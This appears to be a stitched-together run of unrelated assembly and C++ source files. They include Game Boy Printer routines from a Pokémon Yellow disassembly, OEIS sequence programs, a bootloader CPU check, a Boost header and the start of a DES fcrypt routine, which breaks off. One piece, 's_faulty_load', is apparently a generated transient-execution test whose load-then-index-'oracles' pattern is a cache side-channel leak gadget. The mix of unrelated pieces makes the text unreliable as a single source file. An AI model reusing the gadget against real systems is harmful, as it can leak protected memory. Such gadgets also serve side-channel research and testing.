ld [wPrinterPokedexEntryTextPointer], a
ld a, h
ld [wPrinterPokedexEntryTextPointer + 1], a
ld a, $0
rla ; copy carry flag state to bit 0
ld [wPrinterPokedexMonIsOwned], a
and a
jr z, .not_caught
ld a, $5
jr .got_num_rows
.not_caught
ld a, $9
.got_num_rows
ret
Printer_PrepareDexEntryForPrinting:
call ClearScreen
callab Pokedex_PrepareDexEntryForPrinting
ret
PrintSurfingMinigameHighScore:
xor a
ld [hCanceledPrinting], a
call Printer_PlayPrinterMusic
call Printer_PrepareSurfingMinigameHighScoreTileMap
ld a, [rIE]
push af
xor a
ld [rIF], a
ld a, $9
ld [rIE], a
call StartTransmission_Send9Rows
ld a, $13
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call Printer_ResetJoypadHRAM
.loop
call JoypadLowSensitivity
call Printer_CheckPressingB
jr c, .quit
ld a, [wPrinterSendState]
bit 7, a
jr nz, .quit
call PrinterTransmissionJumptable
call GBPrinter_CheckForErrors
call GBPrinter_UpdateStatusMessage
call DelayFrame
jr .loop
.quit
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
call Printer_CopyTileMapFromPrinterTileBuffer
xor a
ld [rIF], a
pop af
ld [rIE], a
call ReloadMapAfterPrinter
call Printer_PlayMapMusic
ret
PrintDiploma:
xor a
ld [hCanceledPrinting], a
call Printer_PlayPrinterMusic
call _DisplayDiploma
ld a, [rIE]
push af
xor a
ld [rIF], a
ld a, $9
ld [rIE], a
call StartTransmission_Send9Rows
ld a, $10
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call Func_e8d11
jr c, .asm_e8cfa
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
ld c, $c
call DelayFrames
call SaveScreenTilesToBuffer1
xor a
ld [H_AUTOBGTRANSFERENABLED], a
call Func_e9ad3
call StartTransmission_Send9Rows
ld a, $3
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call LoadScreenTilesFromBuffer1
call Func_e8d11
.asm_e8cfa
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
call Printer_CopyTileMapFromPrinterTileBuffer
xor a
ld [rIF], a
pop af
ld [rIE], a
call ReloadMapAfterPrinter
call Printer_PlayMapMusic
ret
Func_e8d11:
call Printer_ResetJoypadHRAM
.asm_e8d14
call JoypadLowSensitivity
call Printer_CheckPressingB
jr c, .asm_e8d33
ld a, [wPrinterSendState]
bit 7, a
jr nz, .asm_e8d31
call PrinterTransmissionJumptable
call GBPrinter_CheckForErrors
call GBPrinter_UpdateStatusMessage
call DelayFrame
jr .asm_e8d14
.asm_e8d31
and a
ret
.asm_e8d33
scf
ret
PrintPCBox::
ld a, [wBoxDataStart]
and a
jp z, Func_e8df4
ld a, [wUpdateSpritesEnabled]
push af
xor a
ld [wUpdateSpritesEnabled], a
ld [hCanceledPrinting], a
call Printer_PlayPrinterMusic
ld a, [rIE]
push af
xor a
ld [rIF], a
ld a, $9
ld [rIE], a
call SaveScreenTilesToBuffer1
xor a
ld [H_AUTOBGTRANSFERENABLED], a
call PrintPCBox_DrawPage1
call StartTransmission_Send9Rows
ld a, $10
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call LoadScreenTilesFromBuffer1
call Func_e8dfb
jr c, .asm_e8ddc
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
ld c, 12
call DelayFrames
xor a
ld [H_AUTOBGTRANSFERENABLED], a
call PrintPCBox_DrawPage2
call StartTransmission_Send9Rows
ld a, $0
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call LoadScreenTilesFromBuffer1
call Func_e8dfb
jr c, .asm_e8ddc
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
ld c, 12
call DelayFrames
xor a
ld [H_AUTOBGTRANSFERENABLED], a
call PrintPCBox_DrawPage3
call StartTransmission_Send9Rows
ld a, $0
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call LoadScreenTilesFromBuffer1
call Func_e8dfb
jr c, .asm_e8ddc
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
ld c, 12
call DelayFrames
xor a
ld [H_AUTOBGTRANSFERENABLED], a
call PrintPCBox_DrawPage4
call StartTransmission_Send9Rows
ld a, $3
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call LoadScreenTilesFromBuffer1
call Func_e8dfb
.asm_e8ddc
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
xor a
ld [rIF], a
pop af
ld [rIE], a
call ReloadMapAfterPrinter
call Printer_PlayMapMusic
pop af
ld [wUpdateSpritesEnabled], a
ret
Func_e8df4: ; e8df4
ld hl, String_e8e1f
call PrintText
ret
Func_e8dfb: ; e8dfb
call Printer_ResetJoypadHRAM
.asm_e8dfe
call JoypadLowSensitivity
call Printer_CheckPressingB
jr c, .asm_e8e1d
ld a, [wPrinterSendState]
bit 7, a
jr nz, .asm_e8e1b
call PrinterTransmissionJumptable
call GBPrinter_CheckForErrors
call GBPrinter_UpdateStatusMessage
call DelayFrame
jr .asm_e8dfe
.asm_e8e1b
and a
ret
.asm_e8e1d
scf
ret
String_e8e1f: ; e8e1f
TX_FAR _NoPokemonText
db "@"
PrintFanClubPortrait: ; e8e24
xor a
ld [hCanceledPrinting], a
call Printer_PlayPrinterMusic
call Printer_GetMonStats
ld a, [rIE]
push af
xor a
ld [rIF], a
ld a, $9
ld [rIE], a
call StartTransmission_Send9Rows
ld a, $13
ld [wcae2], a
call Printer_CopyTileMapToPrinterTileBuffer
call Printer_ResetJoypadHRAM
.asm_e8e45
call JoypadLowSensitivity
call Printer_CheckPressingB
jr c, .asm_e8e62
ld a, [wPrinterSendState]
bit 7, a
jr nz, .asm_e8e62
call PrinterTransmissionJumptable
call GBPrinter_CheckForErrors
call GBPrinter_UpdateStatusMessage
call DelayFrame
jr .asm_e8e45
.asm_e8e62
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
call Printer_CopyTileMapFromPrinterTileBuffer
xor a
ld [rIF], a
pop af
ld [rIE], a
call ReloadMapAfterPrinter
call Printer_PlayMapMusic
ret
PrinterDebug:
push af
push bc
push de
push hl
call StopAllMusic
ld a, [rIE]
push af
xor a
ld [rIF], a
ld a, $9
ld [rIE], a
call StartTransmission_Send9Rows
ld a, $13
ld [wcae2], a
ld a, $1
ld [H_AUTOBGTRANSFERENABLED], a
call Printer_CopyTileMapToPrinterTileBuffer
call PrinterDebug_LoadGFX
.loop
ld a, [wPrinterSendState]
bit 7, a
jr nz, .quit
call PrinterDebug_DoFunction
call PrinterDebug_ConvertStatusFlagsToTiles
call DelayFrame
jr .loop
.quit
xor a
ld [wPrinterConnectionOpen], a
ld [wPrinterOpcode], a
ld hl, wOAMBuffer + 32 * 4
ld bc, 8 * 4
xor a
call FillMemory
xor a
ld [rIF], a
pop af
ld [rIE], a
pop hl
pop de
pop bc
pop af
ret
Printer_CheckPressingB:
ld a, [hJoyHeld]
and B_BUTTON
jr nz, .quit
and a
ret
.quit
ld a, [wPrinterSendState]
cp $c
jr nz, .already_done
.wait_current_task
ld a, [wPrinterOpcode]
and a
jr nz, .wait_current_task
ld a, $16
ld [wPrinterOpcode], a
ld a, $88
ld [rSB], a
ld a, $1
ld [rSC], a
ld a, $81
ld [rSC], a
.wait_send_cancel
ld a, [wPrinterOpcode]
and a
jr nz, .wait_send_cancel
.already_done
ld a, $1
ld [hCanceledPrinting], a
scf
ret
Printer_CopyTileMapToPrinterTileBuffer:
coord hl, 0, 0
coord de, 0, 0, wPrinterTileBuffer
ld bc, SCREEN_HEIGHT * SCREEN_WIDTH
call CopyData
ret
Printer_CopyTileMapFromPrinterTileBuffer:
coord hl, 0, 0, wPrinterTileBuffer
coord de, 0, 0
ld bc, SCREEN_HEIGHT * SCREEN_WIDTH
call CopyData
ret
Printer_ResetJoypadHRAM:
xor a
ld [hJoyLast], a
ld [hJoyReleased], a
ld [hJoyPressed], a
ld [hJoyHeld], a
ld [hJoy5], a
ld [hJoy6], a
ret
Printer_PlayPrinterMusic:
call Printer_FadeOutMusicAndWait
ld a, [wAudioROMBank]
ld [wAudioSavedROMBank], a
ld a, BANK(Music_GBPrinter)
ld [wAudioROMBank], a
ld a, MUSIC_GB_PRINTER
ld [wNewSoundID], a
call PlaySound
ret
Printer_PlayMapMusic:
call Printer_FadeOutMusicAndWait
call PlayDefaultMusic
ret
Printer_FadeOutMusicAndWait:
ld a, $4
ld [wAudioFadeOutControl], a
call StopAllMusic
.wait_music_stop
ld a, [wAudioFadeOutControl]
and a
jr nz, .wait_music_stop
ret
GBPrinter_CheckForErrors:
ld a, [wPrinterHandshake]
cp $81
jr z, .check_other_errors
ld a, [wPrinterStatusFlags]
cp $ff
jr z, .error2
xor a
jr .load_status
.check_other_errors
ld a, [wPrinterStatusFlags]
and %11100000
ret z
bit 7, a
jr nz, .error1
bit 6, a
jr nz, .error4
; error 3
ld a, PRINTER_ERROR_3
jr .load_status
.error4
ld a, PRINTER_ERROR_4
jr .load_status
.error1
ld a, PRINTER_ERROR_1
jr .load_status
.error2
ld a, PRINTER_ERROR_2
.load_status
ld [wPrinterStatusIndicator], a
ret
GBPrinter_UpdateStatusMessage:
ld a, [wPrinterStatusIndicator]
and a
ret z
push af
xor a
ld [H_AUTOBGTRANSFERENABLED], a
coord hl, 0, 5
lb bc, 10, 18
call TextBoxBorder
pop af
ld e, a
ld d, $0
ld hl, .PrinterStatusMessages
add hl, de
add hl, de
ld e, [hl]
inc hl
ld d, [hl]
coord hl, 1, 7
call PlaceString
coord hl, 2, 15
ld de, .PressBToCancel
call PlaceString
ld a, $1
ld [H_AUTOBGTRANSFERENABLED], a
xor a
ld [wPrinterStatusIndicator], a
ret
.PressBToCancel:
db "Press B to Cancel@"
.PrinterStatusMessages:
dw .Blank
dw .CheckingLink
dw .Transmitting
dw .Printing
dw .Error1
dw .Error2
dw .Error3
dw .Error4
dw .WrongDevice
.Blank:
db "@"
.CheckingLink:
db ""
next " CHECKING LINK...@"
.Transmitting:
db ""
next " TRANSMITTING...@"
.Printing:
db ""
next " PRINTING...@"
.Error1:
db " Printer Error 1"
next ""
next "Check the Game Boy"
next "Printer Manual.@"
.Error2:
db " Printer Error 2"
next ""
next "Check the Game Boy"
next "Printer Manual.@"
.Error3:
db " Printer Error 3"
next ""
next "Check the Game Boy"
next "Printer Manual.@"
.Error4:
db " Printer Error 4"
next ""
next "Check the Game Boy"
next "Printer Manual.@"
.WrongDevice:
db "This is not the"
next "Game Boy Printer!@"
Printer_PrepareSurfingMinigameHighScoreTileMap:
call GBPalWhiteOutWithDelay3
call ClearScreen
ld de, SurfingPikachu2Graphics
ld hl, vChars2
lb bc, BANK(SurfingPikachu2Graphics), (SurfingPikachu2GraphicsEnd - SurfingPikachu2Graphics) / $10
call CopyVideoData
coord hl, 0, 0
call .PlaceRowAlternatingTiles
coord hl, 0, 17
call .PlaceRowAlternatingTiles
coord hl, 0, 0
call .PlaceColumnAlternatingTiles
coord hl, 19, 0
call .PlaceColumnAlternatingTiles
ld a, $4
coord hl, 0, 0
ld [hl], a
coord hl, 0, 17
ld [hl], a
coord hl, 19, 0
ld [hl], a
coord hl, 19, 17
ld [hl], a
ld de, .Tilemap1
coord hl, 10, 8
lb bc, 3, 8
call Diploma_Surfing_CopyBox
ld de, .Tilemap2
coord hl, 2, 11
lb bc, 6, 16
call Diploma_Surfing_CopyBox
ld de, .PikachusBeachString
coord hl, 3, 2
call PlaceString
ld de, .HiScoreString
coord hl, 9, 4
call PlaceString
ld de, .PointsString
coord hl, 12, 6
call PlaceString
ld de, wPlayerName
ld hl, wPlayerName
ld bc, 0
.find_end_of_name
ld a, [hli]
inc c
cp "@"
jr nz, .find_end_of_name
ld a, 8
sub c
jr nc, .got_name_length
xor a
.got_name_length
ld c, a
coord hl, 2, 4
add hl, bc
call PlaceString
call CopySurfingMinigameScore
ld b, 8
call RunPaletteCommand
ld a, $1
ld [H_AUTOBGTRANSFERENABLED], a
call Delay3
call GBPalNormal
ret
.PlaceRowAlternatingTiles:
ld c, SCREEN_WIDTH / 2
.row_loop
ld [hl], $0
inc hl
ld [hl], $1
inc hl
dec c
jr nz, .row_loop
ret
.PlaceColumnAlternatingTiles:
ld c, SCREEN_HEIGHT / 2
ld de, SCREEN_WIDTH
.col_loop
ld [hl], $2
add hl, de
ld [hl], $3
add hl, de
dec c
jr nz, .col_loop
ret
.Tilemap1:
db $7f, $7f, $10, $11, $12, $13, $14, $15
db $0f, $3c, $3d, $3e, $20, $21, $30, $31
db $4c, $4d, $4e, $50, $34, $1a, $51, $2d
.Tilemap2:
db $7f, $7f, $7f, $7f, $7f, $7f, $16, $17, $18, $19, $7f, $1b, $1c, $1d, $1e, $1f
db $7f, $7f, $22, $23, $24, $25, $26, $27, $28, $29, $2a, $2b, $2c, $7f, $2e, $2f
db $7f, $7f, $32, $33, $33, $35, $36, $37, $38, $39, $3a, $3b, $7f, $7f, $7f, $3f
db $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4a, $4b, $40, $40, $40, $4f
db $52, $52, $52, $53, $54, $55, $56, $57, $58, $59, $5a, $5b, $5c, $5d, $5d, $5e
db $7f, $7f, $7f, $05, $06, $07, $08, $09, $0a, $0b, $0c, $0d, $0e, $7f, $7f, $7f
.PikachusBeachString:
db "Pikachu's Beach@"
.HiScoreString:
db "'s Hi-Score@"
.PointsString:
db "Points@"
Diploma_Surfing_CopyBox:
.y
push bc
push hl
.x
ld a, [de]
inc de
ld [hli], a
dec c
jr nz, .x
pop hl
ld bc, SCREEN_WIDTH
add hl, bc
pop bc
dec b
jr nz, .y
ret
CopySurfingMinigameScore:
ld de, wSurfingMinigameHiScore + 1
coord hl, 7, 6
ld a, [de]
call .BCDConvertScore
ld a, [de]
.BCDConvertScore:
ld c, a
swap a
and $f
add -10
ld [hli], a
ld a, c
and $f
add -10
ld [hli], a
dec de
ret
SurfingPikachu2Graphics: INCBIN "gfx/surfing_pikachu_2.2bpp"
SurfingPikachu2GraphicsEnd:
PrintPCBox_DrawPage1:
xor a
ld [wBoxNumString], a
call ClearScreen
call PrintPCBox_PlaceHorizontalLines
coord hl, 0, 0
ld bc, 11 * SCREEN_WIDTH
ld a, " "
call FillMemory
call PrintPCBox_DrawLeftAndRightBorders
call PrintPCBox_DrawTopBorder
coord hl, 4, 4
ld de, .PokemonListString
call PlaceString
coord hl, 7, 6
ld de, .BoxString
call PlaceString
coord hl, 11, 6
ld a, [wCurrentBoxNum]
and $7f
cp 9
jr c, .less_than_9
sub 9
ld [hl], "1"
inc hl
add "0"
jr .placed_box_number
.less_than_9
add "1"
.placed_box_number
ld [hl], a
coord hl, 4, 9
ld de, wBoxSpecies
ld c, $3
call PrintPCBox_PlaceBoxMonInfo
ret
.PokemonListString: db "POKéMON LIST@"
.BoxString: db "BOX@"
PrintPCBox_DrawPage2:
call ClearScreen
call PrintPCBox_PlaceHorizontalLines
call PrintPCBox_DrawLeftAndRightBorders
ld a, [wBoxDataStart]
cp 4
ret c
coord hl, 4, 0
ld de, wBoxSpecies + 3
ld c, 6
call PrintPCBox_PlaceBoxMonInfo
ret
PrintPCBox_DrawPage3:
call ClearScreen
call PrintPCBox_PlaceHorizontalLines
call PrintPCBox_DrawLeftAndRightBorders
ld a, [wBoxDataStart]
cp 10
ret c
coord hl, 4, 0
ld de, wBoxSpecies + 9
ld c, 6
call PrintPCBox_PlaceBoxMonInfo
ret
PrintPCBox_DrawPage4:
call ClearScreen
call PrintPCBox_PlaceHorizontalLines
call PrintPCBox_DrawLeftAndRightBorders
coord hl, 0, 15
call PrintPCBox_DrawBottomBorderAtHL
coord hl, 0, 16
ld bc, 2 * SCREEN_WIDTH
ld a, " "
call FillMemory
ld a, [wBoxDataStart]
cp 16
ret c
coord hl, 4, 0
ld de, wBoxSpecies + 15
ld c, 5
call PrintPCBox_PlaceBoxMonInfo
ret
PrintPCBox_PlaceBoxMonInfo:
.loop
ld a, c
and a
jr z, .done
dec c
ld a, [de]
cp $ff
jr z, .done
ld [wd11e], a
push bc
push hl
push de
push hl
ld bc, 12
ld a, " "
call FillMemory
pop hl
push hl
ld de, SCREEN_WIDTH
add hl, de
ld bc, 12
ld a, " "
call FillMemory
pop hl
push hl
call GetMonName
pop hl
call PlaceString
push hl
ld hl, wBoxMonNicks
ld bc, NAME_LENGTH
ld a, [wBoxNumString]
call AddNTimes
ld e, l
ld d, h
pop hl
ld bc, SCREEN_WIDTH + 1
add hl, bc
ld [hl], " "
inc hl
call PlaceString
ld hl, wBoxNumString
inc [hl]
pop de
pop hl
ld bc, 3 * SCREEN_WIDTH
add hl, bc
pop bc
inc de
jr .loop
.done
ret
PrintPCBox_DrawTopBorder:
coord hl, 0, 0
ld a, $79
ld [hli], a
ld a, $7a
ld c, SCREEN_WIDTH - 2
.loop
ld [hli], a
dec c
jr nz, .loop
ld a, $7b
ld [hl], a
ret
PrintPCBox_DrawLeftAndRightBorders:
coord hl, 0, 0
ld de, SCREEN_WIDTH - 1
ld c, SCREEN_HEIGHT
.loop
ld a, $7c
ld [hl], a
add hl, de
ld a, $7c
ld [hli], a
dec c
jr nz, .loop
ret
PrintPCBox_DrawBottomBorder:
coord hl, 0, 17
PrintPCBox_DrawBottomBorderAtHL:
ld a, $7d
ld [hli], a
ld a, $7a
ld c, SCREEN_WIDTH - 2
.loop
ld [hli], a
dec c
jr nz, .loop
ld a, $7e
ld [hl], a
ret
PrintPCBox_PlaceHorizontalLines:
coord hl, 4, 0
ld c, 6
call .PlaceHorizontalLine
coord hl, 6, 1
ld c, 6
.PlaceHorizontalLine:
.loop
push bc
push hl
ld de, .HorizontalLineString
call PlaceString
pop hl
ld bc, 3 * SCREEN_WIDTH
add hl, bc
pop bc
dec c
jr nz, .loop
ret
.HorizontalLineString:
db "----------@"
|
; A230038: Distance between n^2 and the smallest triangular number >= n^2.
; 0,2,1,5,3,0,6,2,10,5,15,9,2,14,6,20,11,1,17,6,24,12,32,19,5,27,12,36,20,3,29,11,39,20,0,30,9,41,19,53,30,6,42,17,55,29,2,42,14,56,27,71,41,10,56,24,72,39,5,55,20,72,36,90,53,15,71,32,90,50,9,69,27,89,46,2,66,21,87,41,109,62
mov $1,$0
add $0,2
mul $0,$1
cal $0,25676 ; Exponent of 8 (value of i) in n-th number of form 8^i*9^j.
sub $0,3
mov $1,$0
add $1,3
|
;;; boot/cpu_check.asm
;;;
;;; Copyright © 2015 Simon Evans. All rights reserved.
;;;
;;; Check the CPU is sufficient for 64bit long mode
FEATURE_BIT_LONG_MODE EQU 1 << 29
;;; Returns carry set if cpu not good enough
cpu_check:
;; check CPUID supported by seeing if ID bit in EFLAGS can be toggled
pushfd
pushfd
pop eax ; EAX = EFLAGS
mov ecx, eax
xor ecx, 0x00200000 ; toggle ID bit
push ecx
popfd ; load into flags
pushfd ; store to see if change is preserved
pop ecx ; ECX opposite bit to EAX if CPUID present
popfd ; restore EFLAGS
cmp ecx, eax
jne has_cpuid
mov si, msg_no_cpuid
call print
stc ; no CPUID
ret
has_cpuid:
mov eax, 0x80000000 ; Get Highest Extended Function Supported
cpuid
cmp eax, 0x80000001 ; has Extended Processor Info and Feature Bits?
jl bad_cpu
mov eax, 0x80000001
cpuid
test edx, FEATURE_BIT_LONG_MODE
jz bad_cpu
clc ; All OK
ret
bad_cpu:
mov si, msg_no_long_mode
call print
stc
ret
msg_no_cpuid: db "CPUID not present", 0x0A, 0x0D, 0
msg_no_long_mode: db "Long mode not supported", 0x0A, 0x0D, 0
|
; Original address was $B91C
; 7-6
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_01 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_00 | LEVEL3_VSCROLL_LOCKLOW
.byte LEVEL4_BGBANK_INDEX(0) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_UNDERWATER | LEVEL5_TIME_300
.byte $FF
|
; A197272: a(n) = 6/((4*n+1)*(4*n+2))*binomial(5*n,n).
; Submitted by Christian Krause
; 3,1,3,15,95,690,5481,46376,411255,3781635,35791910,346821930,3427001253,34425730640,350732771160,3617153918640,37703805776935,396716804816265,4209161209968825,44993046668984145,484176486362971710
mov $2,$0
mul $0,4
add $2,1
sub $1,$2
bin $1,$0
add $0,1
mul $1,6
mov $3,1
add $3,$0
bin $3,2
div $1,$3
mov $0,$1
div $0,2
|
/*=============================================================================
Copyright (c) 2009 Hartmut Kaiser
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
#if !defined(BOOST_FUSION_NVIEW_ITERATOR_SEP_24_2009_0329PM)
#define BOOST_FUSION_NVIEW_ITERATOR_SEP_24_2009_0329PM
#include <boost/fusion/iterator/equal_to.hpp>
namespace boost { namespace fusion
{
struct nview_iterator_tag;
namespace extension
{
template<typename Tag>
struct equal_to_impl;
template<>
struct equal_to_impl<nview_iterator_tag>
{
template<typename It1, typename It2>
struct apply
: result_of::equal_to<typename It1::first_type, typename It2::first_type>
{};
};
}
}}
#endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xcae4, %rbp
nop
nop
nop
dec %r10
movups (%rbp), %xmm2
vpextrq $1, %xmm2, %rdi
nop
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_normal_ht+0x106b4, %rax
nop
nop
nop
nop
sub $34516, %r13
mov $0x6162636465666768, %r11
movq %r11, %xmm3
movups %xmm3, (%rax)
nop
inc %r13
lea addresses_normal_ht+0x9094, %rsi
lea addresses_UC_ht+0x10c94, %rdi
nop
nop
xor $41538, %rdx
mov $45, %rcx
rep movsl
nop
nop
inc %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r9
push %rax
push %rbx
// Faulty Load
lea addresses_D+0x10c94, %rbx
nop
nop
nop
nop
cmp %r10, %r10
movb (%rbx), %r9b
lea oracles, %rbx
and $0xff, %r9
shlq $12, %r9
mov (%rbx,%r9,1), %r9
pop %rbx
pop %rax
pop %r9
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 10}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
%ifidn __OUTPUT_FORMAT__,obj
section code use32 class=code align=64
%elifidn __OUTPUT_FORMAT__,win32
%ifndef __YASM_VER__
$@feat.00 equ 1
%endif
section .text code align=64
%else
section .text code
%endif
extern _DES_SPtrans
global _fcrypt_body
align 16
_fcrypt_body:
L$_fcrypt_body_begin:
push ebp
push ebx
push esi
push edi
;
; Load the 2 words
xor edi,edi
xor esi,esi
lea edx,[_DES_SPtrans]
push edx
mov ebp,DWORD [28+esp]
push DWORD 25
L$000start:
;
; Round 0
mov eax,DWORD [36+esp]
mov edx,esi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,esi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [ebp]
xor eax,ebx
mov ecx,DWORD [4+ebp]
xor eax,esi
xor edx,esi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor edi,DWORD [ebx*1+ebp]
mov bl,dl
xor edi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor edi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor edi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor edi,ebx
mov ebp,DWORD [32+esp]
;
; Round 1
mov eax,DWORD [36+esp]
mov edx,edi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,edi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [8+ebp]
xor eax,ebx
mov ecx,DWORD [12+ebp]
xor eax,edi
xor edx,edi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor esi,DWORD [ebx*1+ebp]
mov bl,dl
xor esi,DWORD [0x200+ecx*1+ebp]
